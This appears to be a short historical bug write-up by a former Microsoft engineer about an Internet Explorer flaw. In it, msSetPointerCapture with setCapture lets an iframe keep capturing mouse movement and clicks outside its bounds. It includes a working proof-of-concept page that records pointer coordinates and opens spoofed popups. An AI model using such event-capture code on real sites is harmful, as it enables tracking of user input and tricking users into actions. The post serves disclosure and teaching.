I found that msSetPointerCapture combined with setCapture inside an iframe continued delivering pointer events — including mouse coordinates and click events — even when the user’s pointer was outside the iframe’s bounds, in the parent page or another tab’s area. An older IE9 bug (WinOOB #1143995) had fixed setCapture alone, but msSetPointerCapture reintroduced the same capability.
<!-- evil.html (inside an iframe on the victim page) -->
<script>
function capturePointer()
{
document.all.mySpan.onmousemove = function(e)
{
document.all.mySpan.innerText = "CAPTURED - X: " + e.x + " Y:" + e.y;
}
document.all.mySpan.onclick = function()
{
document.all.mySpan.innerText = "NOT CAPTURED";
var win = window.open("","","width=400,height=200");
win.document.body.innerHTML = '<h1>Hello!</h1> It seems as if this popUp came from the top window, but in reality it came from the evil iFrame which captured the events.';
}
document.all.mySpan.msSetPointerCapture(1);
document.all.mySpan.setCapture();
}
</script>
<input type="button" onclick="capturePointer()" value="Capture the Mouse">
<span id="mySpan">NOT CAPTURED</span>
Once capture was active, any click outside the iframe was routed to the iframe’s onclick handler, which could open new windows, navigate pages, or perform other privileged actions — while appearing to the user as if the action originated from the legitimate parent page.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.